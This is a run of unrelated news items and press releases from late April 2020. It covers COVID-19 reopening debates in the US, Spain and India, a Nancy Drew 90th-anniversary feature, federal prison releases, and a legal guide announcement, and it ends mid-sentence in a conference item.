COVID-19 demonstrates at the Capitol building in Madison, Wisconsin. Photograph: Daniel Acker/Reuters Demonstrators participate in a vehicle caravan with a sign reading 'Trust in God not vaccines' outside City Hall, calling on California officials to re-open the economy amidst the coronavirus pandemic in Los Angeles, California.A protest movement has sprung up in states across the country calling for an end to shelter-at-home orders. Photograph: Mario Tama/Getty Images A protester holds a placard during a demonstration against the state's extended stay-at-home order to help slow the spread of the Coronavirus disease at the Capitol building in Columbus, Ohio. Photograph: Seth Herald/Reuters NEW YORK, April 28, 2020 /PRNewswire/ -- Hyperlink InfoSystem has been recognized as one of the most popular and Trusted App Development Companies in USA 2020 as the company has worked with many businesses around the world to deliver the best solutions since its inception. With over eight years of experience in the industry, they have developed 3,200+ apps and designed 1,500+ websites for more than 2,200 clients worldwide. With a strength of 250+ highly dedicated developers who are ready to solve any challenging task, the company offers a gamut of services such as mobile app development for Android & iOS platforms, web design and development, AI and IoT solutions, Blockchain development, data science services, wearable apps, mobile games, and many more. With the latest technologies like artificial intelligence, chatbots and Internet of Things; mobile apps have become so advanced that they help users in a hassle-free way. After looking at current technology trends, the demand for app developers has been increasing steadily. In USA alone, every other business is looking to have an app to reach their clients or customers on the go. Hyperlink InfoSystem is one of the names that strike people's minds, considering the company's global presence and work experience. The company has worked with many big brands like Papa John's, Cartoon Network, Disney and Google for VR based apps. Recently, they have developed an IoT enabled scooter rental app for people in USA. The team of Hyperlink InfoSystem has also visited CES2020 at Las Vegas in January this year and MWC in Los Angeles to showcase their services to local business owners based in the US. In the future, they plan to visit more tech events in the USA and expand their business horizons. Mr. Harnil Oza - CEO of Hyperlink InfoSystem says, "I have started this company in 2011 with the dream to become one of the best app development service providers in the world, It is our hard work that helps us become one of the most trusted app developers in the USA. Even this tough situation of the global pandemic doesn't stop us to deliver our client commitments and the team works remotely to build solutions without missing given timelines. We will continuously work on improving our services and deliver the best in the future too." About Hyperlink InfoSystem: Hyperlink InfoSystem is an established & popular top web & mobile app development company based in New York, USA with its development center in India. The company's talented team of 250+ developers offer world-class services in the areas of Mobile app & Web Development, Blockchain Development, AR & VR App Development, Game App Development, Artificial Intelligence, Data Science, Salesforce & much more. Since 2011, the company has successfully built 3,200+ mobile apps for more than 2,300 clients around the world. Contact Details: Hyperlink InfoSystem Harnil Oza +1-805-744-1224 [email protected] New York Address: One World Trade Center, 285 Fulton Street Suite 8500, New York, NY 10007, United States SOURCE Hyperlink InfoSystem Spain has announced a four-phase plan to lift one of the toughest coronavirus lockdowns in Europe and return to normality by the end of June. Prime Minister Pedro Sanchez said the lifting of the restrictions that have halted public life since March 14 and nearly paralysed the economy, will begin on May 4 and vary from province to province. During the initial phase, hairdressers and other businesses that operate via appointment will open, while restaurants will be able to offer takeaway services. In the next stage, envisaged to begin on May 11 for most of Spain, bars will reopen their terraces but will be limited to a third of their capacity. From this point, healthy people with no underlying medical conditions will be allowed to socialise together in small groups, while family members will be permitted to attend funerals. Advancing through the stages will depend on factors such as how the rate of infection evolves, the number of intensive care beds available and compliance with distancing rules, Sanchez said, without providing concrete thresholds for such evaluation. Local authorities are responsible for monitoring the conditions in their regions, but the national Health Ministry will have the final say on whether or not a province moves forward. Remote working will be recommended where possible until reaching the last phase of the plan towards the end of June, when beaches would also be able to reopen with the support of local authorities. We are starting to glimpse an outcome that will be a reward for the huge collective effort made over the past weeks, Sanchez said, warning that the virus is still lurking. Sanchez explained the government had chosen not to set precise deadlines for the easing of the lockdown, unlike countries such as Italy, to avoid missing them in what is a fluid situation. The important thing is to resume our activities in order to really avoid this drama that we are living, Antonio Garamendi, head of the CEOE business association, told RNE radio. Sanchez warned there would be a recession of extraordinary scale this year that will demand an extraordinary response from the European Union. Reuters The Kerala unit of the Bharatiya Janata Party (BJP) on Monday criticised Chief Minister Pinarayi Vijayan for not taking part in the video conference called by Prime Minister Narendra Modi to discuss the Covid-19 situation in the country. BJP state chief K Surendran said while the whole country was fighting the pandemic together, it was inappropriate on part of the Kerala chief minister to miss the meeting. Kerala chief minister said he had attended the last meeting and hence he did not attend todays meeting. However, most of the chief ministers, who attended the last meeting, had attended Mondays meeting. While the whole country is fighting the pandemic together, his absence cannot be justified, Surendran said in a statement. However, Vijayan, in his daily Covid-19 evaluation press meet, said the Union cabinet secretary had on Sunday informed that only a few chief ministers will have a chance to speak at the video conference. Several issues were discussed by the Prime Minister and the heads of states at the digital meeting, and Kerala was the only state not represented by its chief minister. Kerala Chief Secretary Tom Jose participated in the conference. In the meeting, the southern state sought a staggered removal of the lockdown and an exclusive Covid-19 package. Another issue Kerala raised was the return of the migrant population from the Middle Eastern countries. It wants the Centre to expedite the evacuation. As the nationwide lockdown is about to end on May 3, PM Modi underlined the key challenge of balancing lives and livelihood in the country. The Prime Minister has already held three such meetings with chief ministers to discuss the situation in the country as it tackles a rising number of infections. Hyderabad, April 28 : A retired Army Major has been booked by Cyberabad police for posting fake news on social media. Cyber crime wing of Cyberabad police Commissionerate registered a case against Major Neelam Singh (Retd.) for posting a morphed news clipping on Twitter. Police said that the post is likely to promote enmity between different religions and is prejudicial to the maintenance of communal harmony. According to police, the fake news was posted from the Twitter account "theskindoctor13". He created a fake news article by editing an old article in 'Deccan Chronicle' as 'Cyberabad police bans the sale of oranges in the city' and also attached a morphed photo of Cyberabad Police Commissioner V.C. Sajjanar and other senior police officers. "In the news/article he mentioned that to boost secularism to the hilt, Cyberabad police banned the display, sale and consumption of oranges in the city as saffron color of oranges is hurting the sentiments of the Muslims," said Cyberabad Police, one of the three police commissionerates covering Greater Hyderabad. The police appealed to the citizens not to post such fake and objectionable posts, as it may mislead the citizens and also disrupt the communal harmony. Reacting to the police action, 'theskindoctor13' tweeted on Tuesday that the police filed a case against him for a satire. "A satire they perceived as fake news despite a disclaimer. How absurd it is," he tweeted and sought help from 'any lawyer friend' among his followers. Shes been poisoned, tortured and knocked unconscious so many times she should have a brain injury. Her dog has been kidnapped, and her car has been repeatedly run off the road. Shes been stuck in quicksand, and nearly boiled alive. But our favorite girl detective has survived it all and more and turns 90 years old today: The first three Nancy Drew books, The Secret of the Old Clock, The Hidden Staircase and The Bungalow Mystery, were published on April 28, 1930. Shes like the Energizer bunny, says renowned Nancy Drew expert Jennifer Fisher in an interview with NJ Advance Media. There were numerous threats to stay off the case or else, plus kidnappings and other threats she had to deal with, and she always managed to outwit the villains and save the day. Like the Hardy Boys, Bobbsey Twins, Tom Swift and other books, the Nancy Drew series was a product of the Stratemeyer Syndicate, which was founded by Elizabeth native Edward Stratemeyer in 1905, according to independent scholar James D. Keeline. Other names proposed for the heroine of the series were Stella Strong, Diana Dare, Nan Nelson and Helen Hale, he wrote in a research paper provided to NJ Advance Media. But by any name, Nancy Drew was ahead of her time just 10 years after the 19th Amendment was passed, giving women the right to vote thanks to Mildred Wirt Benson, one of the ghostwriters behind the series Carolyn Keene pseudonym. Benson, who wrote 23 of the first 30 books, was tired of what she liked to call the namby-pamby style of girls series books, according to Fishers website, nancydrewsleuth.com. Nancy came to embody the feisty spirit of independence that emanated from Mildred. Mildred always felt that girls could do the same things as boys could and she lived her life that way, wrote Fisher. Mildred Wirt Benson, one of the ghostwriters behind the Carolyn Keene pseudonym of the Nancy Drew series, in an undated photo. It does seem as if Nancy can do just about anything: In the books, she has ridden a horse, swum, ice skated, flown a plane and even yodeled, to name a few of her many talents. They are part of her appeal. I first fell in love with Nancy Drew back when I was in first grade. ... I will always admire Nancy for showing young girls they can do anything as long as they set their minds to it. Anastasia Drake, 18, Oak Harbor Washington With all her self-confidence, its no wonder Nancy has famous fans. The list of bold-face names who have said they were inspired by Nancy Drew includes former Secretary of State Hillary Clinton, Oprah Winfrey, Supreme Court Justice Ruth Bader Ginsberg, and author and Elizabeth native Judy Blume. Of course, with more than 70 million copies sold, there are oodles of other Nancy fans, some of whom responded to an online invitation to share their stories about her. My grandma read them first when she was younger, then passed them to my mom and aunt. Then my mom basically taught me to read with them. I think the first words I read in my life were from The Quest of the Missing Map. I was hooked. Asa Conroy, 20, Gainesville, Georgia Hollywood's first attempt to move Nancy Drew from the pages to the screen was in a series of four films: "Nancy Drew ... Detective in 1938, followed by Nancy Drew ... Reporter, Nancy Drew ... Trouble Shooter and Nancy Drew and the Hidden Staircase, all in 1939. Bonita Granville, center in "Nancy Drew ... Reporter," played the title character in all of them. Since 1930, Nancy Drew has become mysterys It Girl. Shes a household name, a pop culture icon, says Fisher. But even pop culture icons need a little help now and then. So decades before girl squads were considered to be the pinnacle of female friendship, Nancy had Bess Marvin and the non-traditionally named George Fayne as her besties: From the revised version of book No. 10, Password to Larkspur Lane: Hi! Bess and George rushed across the room and hugged her. Oh, Nancy, Im so glad to see you! Bess exclaimed. George, with an affectionate grin, added, youd think wed been separated for two years instead of two weeks! One of the first series I was actually able to get into when I was a kid, because of the strong woman lead. I loved the friendship of Nancy, Bess, and George and always felt like I was on the adventure with them. Danielle Pate, 27, Marion, Iowa Bess and George, who were cousins, often accompany Nancy on her sleuthing missions. Some of the places they visited to solve mysteries were: New Orleans in The Ghost of Blackwood Hall (No. 25); Hawaii in The Secret of the Golden Pavilion (No. 36); France in The Mystery of the 99 Steps (No. 43); and Nairobi in The Spider Sapphire Mystery (No. 45). Nancy Drew showed me a world I would not have imagined when I was 8 years old. I read all her books in our school library. Anissa Apolinario-Bonquin, 39, Philippines Pamela Sue Martin starred in TV's The Hardy Boys/Nancy Drew Mysteries in the 1970s. Back home in River Heights in ... wait, where exactly is River Heights? The location of Nancys hometown is never specified in the original books. So the question is a matter of debate among fans, says the independent scholar Keeline. Often the clues one might find in the stories depends on which stories are being read, he says. The original texts include clues that suggest Iowa or Ohio. ... Since (the first ghostwriter) Mildred Wirt Benson lived in both of these states, this is part of the reason why readers who know of these connection are likely to spot these associations. Fisher says River Heights is Anywhere, USA. It was never meant to be a real place on purpose. By not being set anywhere real, people certainly have felt like their town might be River Heights. ... As other ghostwriters took over (for Benson) later on, including Edward Stratemeyers daughter, Harriet Adams, who lived in New Jersey, it appeared River Heights in later volumes might be located closer to New York City. I started reading Nancy three years ago (when I was having some medical issues). ... It helped me so much with everything going on, it took me to Nancys world where I could be calm and not worry. Ive been hooked ever since. Taylor Kauffman, 28, Sand Rock, Alabama While many readers probably remember Nancy Drew books as having yellow spines, they werent used until 1962. The earliest issues had a dark blue cover with stamped orange lettering. The original series, published by Grosset & Dunlap, had 56 volumes: The last, The Thirteenth Pearl, was published in 1979. But that wasnt the end of the releases. Numerous new series followed, including the Nancy Drew Files and Nancy Drew, Girl Detective. Many dont realize that over 600 Nancy Drew books have been written since 1930, says Fisher. I am the 2nd generation of a four generation family of Nancy Drew fans. My mom read the original-text (OT) books in the early 1940s, and I started reading (and collecting) the yellow spine matte picture cover books beginning around 1970. My older daughters enjoyed reading select books from my collection, and loved the Wanderer paperbacks and the Nancy Drew Files, and the younger daughter liked the Nancy Drew Notebooks. Now my grandchildren are reading Nancy Drew books. Janet DeVries Naughton, 57, Lantana, Florida Emma Roberts in the 2007 film "Nancy Drew." Beginning in 1959, the first 34 books were revised by the Stratemeyer Syndicate. The changes removed stereotypes and outdated language, and overall updated the stories and shortened them for modern readers, according to Fishers website. As Mildred (Wirt Benson) often said, they took the spice out of them when they revised them. ... Much of the descriptive elements were removed, and other characterization, to make the pace quicker. Some became all new plots and stories. However, Nancy was still the same bold and skilled sleuth as always over time, a little less brash than she was in those original 1930s and 1940s books, says Fisher. I was given my first Nancy Drew book by my neighbor, when I was either eight or nine years old. It was (The Mystery of the) Brass Bound Trunk (No. 17). All I remember is that once I read it, and found out that it was a series, I wanted to read more! It took me until age 17 to own all the original books ... The changes Nancy had gone through over the decades fascinated me. Susan Rosine, 59, Brighton, Colorado (Nancys) dogged tenacity and independence are two of her appeals. Of course, readers of the original texts versus the revised texts can get something different from them. The Nancy of the revised texts is poised and seems to succeed in everything she tries. The earlier Nancy is more likely to challenge authority figures. In either case, she is interested in helping people, says Keeline, who says his first exposure to series books was in 1975 when he found used copies from the original Tom Swift series (1910-1941) on the family bookcase. That sparked a lifelong interest in series books, and, especially, the life of Edward Stratemeyer and the history of Stratemeyer Syndicate. He has written more than 50 articles or conference or convention presentations relating to series books, and is working on a biography of Edward Stratemeyer. I was seven years old and I was complaining that I didnt have anything to read. My mother took me upstairs to the bookcase where she kept the books she had from her childhood and set me loose. Among the books were several Nancy Drews, the blue backs with orange lettering. ... Im reasonably sure I started with The Clue in the Jewel Box. ... That day was the beginning of a lifelong love of vintage childrens literature and with Nancy Drew. Cathie Bannon, 62, Marshfield, Massachusetts One doesnt need a magnifying glass to determine that Fisher is a die-hard Nancy Drew fan. She starting reading the books when she was a little girl in the 1970s. Like many Nancy Drew fans, there was just something about Nancy that kept me turning the pages! In addition to launching her website, she has consulted on the 2007 Nancy Drew movie; written a book, Clues for Real Life: The Classic Wit & Wisdom of Nancy Drew; and planned annual Nancy Drew Conventions. After amassing a collection of more than 4,000 books, collectibles, art, and other paper ephemera, Fisher donated them to the Toledo Public Library in Ohio to be displayed in its own Mystery Room as the Jennifer Fisher Nancy Drew Collection. She is writing a biography of the original Carolyn Keene, Mildred Wirt Benson, whom she met about a year before she passed away in 2002. But even Fisher laments that the new Nancy Drew books arent the same as those from days gone by. Nancy was a much more real and brash version in the 1930s and 1940s Id like to see todays Nancy be as determined. Elizabeth native Judy Blume has said she was inspired by Nancy Drew. FAMOUS WOMEN INSPIRED BY NANCY DREW Former Secretary of State Hillary Clinton Author and Elizabeth native Judy Blume Former first lady Laura Bush Media mogul Oprah Winfrey Supreme Court Justices Sandra Day OConnor, Ruth Bader Ginsburg and Sonia Sotomayor Speaker of the U.S House of Representatives Nancy Pelosi Journalists Gayle King, Barbara Walters and Diane Sawyer Actress Cate Blanchett Sources: washingtonpost.com; Jennifer Fisher NANCY DREW ON SCREENS, BIG AND SMALL Hollywood has had varying degrees of success in its attempts to bring the girl detective from the page to the screen. Movies and TV have been a harder format to translate Nancy Drew to, because shes such a beloved character and also because there have been so many styles and looks to Nancy Drew over the years, from different hair colors to vintage vs. modern, and many generations who have their idea of who Nancy Drew is and should look like, says Nancy Drew expert Jennifer Fisher. Youre always going to disappoint someone, therefore, when you choose something as simple as hair color. Some of the versions include: Nancy Drew film series: In 1937, Bonita Granville was nominated for a best supporting actress Oscar for her role in These Three. The next year, at 15, she played the first Nancy on a screen in Nancy Drew ... Detective, followed by three sequels, Nancy Drew ... Reporter, Nancy Drew ... Trouble Shooter and Nancy Drew and the Hidden Staircase, all in 1939. Fisher refers to these films as slapstick comedies and Granvilles Nancy as ditzy. Exhibit A: In the Reporter film, Granville tells her father, Everythings gone wrong. I failed all around. Maybe Im just not intelligent. How un-Nancy can you get? The Hardy Boys/Nancy Drew Mysteries (1977-97): When this TV series began airing, it alternated episodes of The Hardy Boys, starring Shaun Cassidy and Parker Stevenson, with Nancy Drew, which featured Pamela Sue Martin, who was then 24. In the second season, with the growing teen idol status of Stevenson and particularly the singing Cassidy, there were fewer episodes devoted solely to Nancy Drew, who referred to herself as a part-time investigator. Later in 1978, Martin was replaced by Janet Louise Johnson. By the third season, the show was only about The Hardy Boys. This show is the closest Hollywood has come to accurately translating book Nancy to the screen, says Fisher. Nancy Drew (2007): Emma Roberts teenage Nancy leaves her small-town River Heights to accompany her father on a business trip to Los Angeles. There she stumbles onto clues to an unsolved murder involving a movie star. She has an easier time defusing a bomb than fitting in with the cool kids at Hollywood High. Fisher served as a consultant for the film, but on her website she writes that the title character was played too young, in school, and as a fish out of water, which Nancy Drew never was. It was too much Mean Girls and not enough mystery. Kennedy McMann, at right, plays a modern version of the amateur sleuth in "Nancy Drew" on the CW. Nancy Drew (2019-20): This TV series, which recently wrapped up its first season on the CW, stars Kennedy McMann, now 23, in the title role. Set in the fictional town of Horseshoe Bay, Maine, it includes reimagined versions of series stalwarts Carson Drew, Bess, George and Nick, and has been updated with adult relationships and a focus on the supernatural. Now even Nancy believes in ghosts, although Fisher says this version of the detective has many traits of (the one in) the books shes very bold and independent and stubborn and will sleuth until she saves the day no matter how many obstacles come her way. Bonus fact: Pamela Sue Martin made a cameo in the series debut episode as a physic. Source: IMDb.com STORIES FROM NANCY AXELRAD Former New Jersey resident Nancy Axelrad was just 21 years old and on a leave of absence from studies at Drew University in Madison when she landed a job at the Stratemeyer Syndicate, then helmed by Harriet Stratemeyer Adams and located in East Orange, in 1965. Axelrad started out as an editorial secretary, and eventually became a full-fledged editor and a partner in the syndicate. One of the series she worked on was Nancy Drew, which she edited and later wrote. Alexrad, now 76 and living in Indianapolis, recently spoke by phone with NJ Advance Media. Here are snippets from that conversation. On pursing a career in publishing: I decided to take a leave of absence (from college) to work and I went looking for a job in publishing. I looked in New York because thats where I assumed I would find the job of my dreams. I did a test run to New York for an interview. It was on a Sunday and I was dressed in pink, a pink coat, a pink hat I was going to go to church (later). I found myself on the wrong subway and ended up in Harlem. After that kind of scary experience, I decided that New York wasnt for me and I bowed out of the interview. The woman who had arranged the interview said, Youll never make this kind of money in New Jersey. Well, I figured I would take my chances. I was more concerned about my poor sense of direction than about the salary at that point. On her interview with Harriet Stratemeyer Adams: I was ushered into a smaller room at the center of which was a large mahogany desk, behind it a gold velvet chair occupied by a rather regal-looking woman in glasses. I took the gold chair opposite her. ... She didnt introduce herself. Instead, she asked me what Nancy Drew books I had read. I rattled off The Secret of the Old Clock, The Hidden Staircase, The Bungalow Mystery and a few more in no particular order. To that she replied with this huge grin, Well, Im Carolyn Keene. I was shocked. I was completely hooked on Nancy Drew growing up, so when i met Harriet, it was like a dream come true. I was dumbfounded to discover that she worked four miles from where I lived (in West Orange). On her salary: I was told I would be making $90, which would have been the same salary as the job in New York. So I was excited, and I thought how wrong that woman was in New York. Here I was, a college girl and I was going to make $90 a week, and I thought I was suddenly rich. On why she thinks she was hired: I believe that I was hired because my name was Nancy and that I went to Drew University. Im positive of it, Im sure thats the reason, aside from the fact that I also studied English and I had read the books. I think that had qualified me, the fact that I had read some of the Nancy Drew books growing up. On returning to college: I worked for about a year and it was because of the work that I did at the syndicate, the research that I did, that I realized how much I wanted to finish school. My first research assignment was to research wax portraiture at the Metropolitan Museum of Art. That was for a Dana Girls story, Mystery of the Wax Queen, and I couldnt get over that I was being paid to do something I loved to do. I eventually asked Harriet if I could arrange my schedule so that I could go back to school and complete my education and she agreed. She was always very accommodating. I finished school and worked at the same time. On her work responsibilities: The Mystery of the 99 Steps was my first editorial assignment. Then I went on to The Clue in the Crossword Cipher, The Spider Sapphire Mystery, The Invisible Intruder, The Crooked Banister set in an eerie zigzag house. I was working equal time on the Dana Girls, Nancy Drew and the Bobbsey Twins (series). There was only one instance when there was a connection between Nancy Drew and the Bobbsey Twins. I went with Harriet to Senegal to see a seven-minute total eclipse of the sun. The trip was meant to be the backdrop for a rewrite of Nancy Drew Mystery of the Brass-Bound Trunk. My job was to follow the kids science program, starting with the corona of the sun and cloud formation, while measuring sand in the air, blown over the sea by the Sahara dessert wind. So I was taking notes like mad and participating in this science program daily, all with the thought that this research was going to end up in the Nancy Drew rewrite. However, when we got back from the trip, the publisher was in a rush for the next new Bobbsey Twins (book). So Harriet assigned me to write The Bobbsey Twins on the Sun-Moon Cruise. All of that information that was intended for Nancy Drew wound up in the Bobbsey book. Eventually, The Brass-Bound Trunk was redone, but it was quite a while later. On leaving the syndicate: We (the remaining partners after Harriet died in 1982) ultimately sold the business to Simon & Schuster in July 1984. I had an employment contract; however, it turned out to be in name only. The day after we sold the business, I wound up going to the office, not knowing what I was to do. I was alone in the building, surrounded by all the books and waiting for instructions. That went on for almost a month. Then my mother had a stroke and was quite ill, so I could not honor the contract after that. So I dropped out of the picture stopped writing and editing. It was a sad ending. On her future plans: I am working on a memoir about my experiences working on the books, and I have permission from Simon & Schuster to use (the name) Nancy Drew in the title of my book, which is Nancy Drew and Me: We. Thats because I thought of her as an imaginary friend. I relied upon her to help me through some tough times. Her attributes and her character were an inspiration to me, even into my adult years. Describing the character of Nancy Drew: I think shes the essence of goodness, with a sharp wit, and a heroine. She had an insatiable appetite, I mean has, she still does, for solving mysteries. She plunged into adventure, she was not ever a quiet, shy girl. She was the essence of girl power. Tracy Ann Politowicz may be reached at tpolitowicz@advancelocal.com. She never thought her husband's punishment for selling drugs would be a death sentence. But as the new coronavirus rips through the US prison system and into the facility where he is serving eight years, she fears it could be. The 24-year-old inmate suffers from severe asthma at the medium-security South Carolina prison. He has tried and failed to get released to home confinement, while his wife on the outside watches high-profile inmates go free. He is at a way higher risk and it's not fair, said the woman, who spoke to The Associated Press on condition of anonymity because she feared her husband would suffer retaliation. "I don't want to lose my husband for something he did years ago, to an illness he can't help. The Bureau of Prisons has given contradictory and confusing guidance how it is deciding who is released to home confinement in an effort to combat the virus, changing requirements, setting up inmates for release and backing off and refusing to explain how it decides who gets out and when. And it's unclear who is getting released, aside from high-profile inmates like Michael Cohen and Michael Avenatti. More than 1,500 inmates have have been placed on home confinement so far, but prisons officials will not give out any demographic information. Advocates fear the same inequalities at play in the criminal justice system are also a factor now. Most white-collar defendants get lighter sentences in less-secure facilities, making them better eligible for release in the pandemic. These releases of the wealthy, of the white, are just a continuation of an institutional injustice that really begins more or less at the time of arrest, said Ron Kuby, a longtime New York criminal defense attorney who represented one of the men wrongly convicted in the Central Park jogger case. More than 1,100 inmates out of about 153,000 incarcerated in federal prisons nationwide have tested positive for COVID-19, though it's not clear how many total inmates have been tested. As of Monday, 28 inmates had died. Attorney General William Barr ordered the increased use of home confinement and the expedited release of eligible inmates by the Bureau of Prisons, with priority for those at low- or medium-security prisons starting with virus hot spots. In a statement, the Bureau of Prisons said case managers were urgently reviewing all inmates to determine which ones meet the criteria established by the Attorney General. Some, like Cohen and Avenatti, have access to private attorneys who can help them go around the federal officials and seek a judge's order to set them free. The request by Cohen, President Donald Trump's former lawyer, had been denied by a judge, but the Bureau of Prisons eventually agreed to let him out. Avenatti, an attorney and frequent Trump critic, is free for 90 days from a federal jail as he awaits a fraud trial. Former U.S. Rep. Corrine Brown was released last week after serving just over two years of a five-year sentence. Dean Skelos, the former New York state Senate leader, tested positive and was also set for release. Nonprofit groups are mustering pro bono lawyers, and at least 1,400 prisoners have requested help. But most inmates must rely on the Bureau of Prisons to review their case files and determine who might be eligible. A spokeswoman said all inmates in custody were being reviewed but those who believe they are eligible could also request home confinement. The asthmatic in South Carolina told his family he's been turned away multiple times when he asked if there was even a form he could fill out to be considered for release, according to his wife. With five kids at home, he'd be unable to afford a lawyer to try to plead his case to a judge. I have seen high-profile (inmates) get out right away, she said. Myself and my husband cannot afford the $20,000 for a lawyer to file a motion. Nearly 40% of the estimated 10,000 inmates who are considered higher risk for COVID-19 older, and suffering certain medical ailments are serving sentences for violent crimes or sex offenses, making them ineligible for home confinement, according to Justice Department statistics. But for the other 60%, there is confusion and mixed messages. Staff members have been given contradictory guidelines that change frequently. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Our goal in creating this guide is to enable counsel and their clients to identify key differences among jurisdictions laws and to provide citations to primary sources for further research. Lex Mundi, in conjunction with members of the Lex Mundi Litigation, Arbitration and Dispute Resolution Group, has published the first-of-its kind interactive guide - Lex Mundi Global Attorney-Client Privilege Guide. This one-of-a kind guide allows users to compare common and civil law attorney-client privilege information for more than 65 jurisdictions around the world -- all in a side-by-side customized report. Attorney-client privilege differs significantly between states and countries and also between common and civil law jurisdictions. Some civil law jurisdictions do not recognize the privilege but instead protect the information through professional ethics rules or otherwise. At a time of global financial crisis, when companies are struggling to maintain operations and solvency in the wake of supply chain disruption and demand side collapse, companies know that litigation is looming. Now, more than ever, it is important for companies and their counsel to take steps to protect privileged information in anticipation of the litigation to come. The Lex Mundi Attorney-Client Privilege Guide details what constitutes attorney-client privilege in common and civil law jurisdictions around the world. Specific topics addressed in the guide include: Elements/Basics Privilege in Corporations Litigation Funding Crime-Fraud Exception Work Product Doctrine/Litigation Privilege Other privileges, including accountant-client privilege, mediation privilege and settlement negotiation privilege Lex Mundi created the guide with the help of Jenner & Block LLP, Lex Mundi member firm for USA, Illinois. David Greenwald, partner with Jenner & Block LLP, explained, Our goal in creating this guide is to enable counsel and their clients to identify key differences among jurisdictions laws and to provide citations to primary sources for further research. He added, The law of privilege, and the differences between jurisdictions, is often misunderstood. This guide provides ready access to this important information. The guides interactive and innovative format allows users to search for and download an individual jurisdictions report or compare multiple jurisdictions in a side-by-side customizable report. The Lex Mundi Attorney-Client Privilege Guide can be accessed free of charge on the Lex Mundi website at: https://www.lexmundi.com/lexmundi/Attorney-Client_Privilege_Guide.asp. About Lex Mundi Lex Mundi is the worlds leading network of independent law firms delivering consistent, high-quality advice that is critical to solving complex cross-border challenges. Our carefully vetted, and continuously reviewed, top-tier member firms uphold the highest-level service standards while offering preferred access to more than 22,000+ lawyers worldwide in more than 125 countries. Supported by client-focused methods, innovative technologies, joint learning and training, member firms collaborate across borders and industries to deliver joined-up solutions focused on real business results for clients. Through our innovative service delivery model, clients have the ability to assemble an ideal international legal team, with the best lawyers in the jurisdictions that match their unique footprint, flexed to their most significant legal challenges. Lex Mundi member law firms are located throughout Europe, the Middle East, Africa, Asia and the Pacific, Latin America and the Caribbean and North America. Through our nonprofit affiliate, the Lex Mundi Pro Bono Foundation, our members also provide pro bono legal assistance to social entrepreneurs around the globe. For more information, please visit http://www.lexmundi.com and http://www.lexmundiprobono.org. Photo Illustration by The Daily Beast/Getty PUBLIC TOURS CANCELED UNTIL FURTHER NOTICE: Out of an abundance of caution, we are temporarily canceling public tours until further notice to ensure the health and safety of Georgia families. That announcement greets anyone who goes to the Tour the Mansion page on the state of Georgia website. Gov. Brian Kemp was happy to reopen everything from barber shops to tattoo parlors to movie theaters to bowling alleys. But he was suddenly possessed with an abundance of caution at the prospect of admitting folks to the governors mansion. Never mind that the free public tours every Tuesday, Wednesday, and Thursday mornings are confined to the first floor of the three-story, 30-room structure. A red velvet rope is stretched across the foot of the circular staircase leading to the upper floors, where Kemp is ensconced with his wife and three daughters. When the website cites the need to ensure the health and safety of Georgia families, it must be speaking primarily of Kemp's. He has no problem with other families risking their health and safety by going to the movies. The first family comes first! At the start of this month, one of the workers on the mansions 18-acre grounds tested positive for COVID-19. Kemps spokesman reported the worker had never entered the mansion or come in worrisome proximity with Kemps family or staff. All the other workers were tested, and the results were negative. Anyone who was directly exposed to the worker has been tested and quarantined out of an abundance of caution, a spokesman said. The premises are routinely disinfected and we have suspended the use of work crews at at the mansion to mitigate risk. So, the abundance of caution and a desire to mitigate risk barred even workers who had tested negative from the mansion grounds. But as the COVID-19 death toll in Georgia reached 900 and the nations body count passed 50,000, Kemp went ahead with a reopening plan beyond the mansion grounds. Even President Trump, at least publicly, condemned it as too fast, too soon. Story continues After Attacking Blue States on Lockdown, Trump Goes After a Red State for Reopening In rural Dougherty County, Coroner Michael Fowler had been hoping aloud that the body count there would not top 100. He reported on Sunday that it had reached 110. Its moving on up, he noted. He refrained from expressing anything other than a huff of disbelief when he was asked about Kemps decision to keep the mansion closed while opening up businesses across the state. I heard that, Fowler said. Fowler was able to report that many people in Dougherty County perceived a dangerous dearth of caution in Kemps plan. Theyre talking against it, Fowler said. They had learned firsthand how fast the virus can spread and how deadly it can be. They have seen the result, he noted. Fowler worked for 10 years in a local Firestone factory before it shut down and gave him a lesson in sudden economic hardship. He went on to study mortuary science, becoming a death investigation specialist with the Georgia Bureau of Investigation and a member of the National Disaster Medical System Mortuary Team. He was at ground zero in New York the day after 9/11 and worked in the smoldering ruins for a total of nine weeks. Dealing with tires to dealing with death, he told The Daily Beast. Its a big difference. Now, as a coroner in the midst of a disaster that dwarfs the September 11 terror attacks, Fowler was faced with a governor who does not seem to understand the full magnitude of the difference between tires and deaths, between the economy and human lives. And these deaths in Dougherty County are all the more harrowing for Fowler than those at ground zero in 2001. He knows many of the people he zips into body bags. He has a cousin who is on a ventilator, fighting not to become another number in the count. Why All the Ventilators in the World Wont Solve This Fowler feared that even if the people of Dougherty County heed the continuing danger and stay home, too many people elsewhere in Georgia will not. He offered a weary coroners description of the unmitigated risk that comes with entering the places that Kemp is reopening to the public. Its like playing Russian roulette, he said. If you want to put the bullet in the chamber and spin it Kemp has decided on his plan from a mansion that by one measure is just 20 minutes by car from the Centers for Disease Control and Prevention headquarters. By another measure, he is in an entirely different reality: Planet Kemp. He places others at risk while keeping his mansion closed so as not to endanger him and the family to which he is giving first a new meaning. Before the tours were shut down out of an abundance of caution, tour guides would point out to visitors a signed first edition of Gone With the Wind, which Margaret Mitchell wrote after her mothers death in the last great pandemic caused her to return from Smith College to Atlanta. Along with a romanticized depiction of slavery reflected in a movie that is one of President Trumps favorites, the novel describes Shermans march through Georgia. The actual campaign is estimated to have caused 100 civilian deaths, about the number who have already died just in Fowlers county in this new pandemic. On Friday, a small group protesting Kemps plan may or may not have understood the irony as they drove around the closed mansion with signs reading Too Soon to Open! and Stay Home, Say Safe. A further measure of Kemps failure to grasp the magnitude of the danger came with the American flag flying out front as the nations COVID-19 toll passed 50,000 dead. The Stars and Stripes were still at full staff. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. 'We Are Losing Our Freedoms': Alex McFarland's Apologetics Conference to Focus on Saving America Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Notable apologist and author Alex McFarland's latest Truth for a New Generation conference will have a focus on saving the United States and its constitutional rights. "We are losing our freedoms, we're actually suffering as a nation because of our abandonment of morality or what we might call natural law," McFarland told The Christian Post. "I believe that our abandonment of morality in terms of abortion, the redefinition of marriage, the blurring of gender and sexual truth, it really threatens our Constitution." Begun by McFarland back in the 1990s, Truth for a New Generation will kick off its next conference at Life Community Church in Jamestown, North Carolina, on Friday. McFarland noted that the chief purpose of the conference remains evangelism and equipping 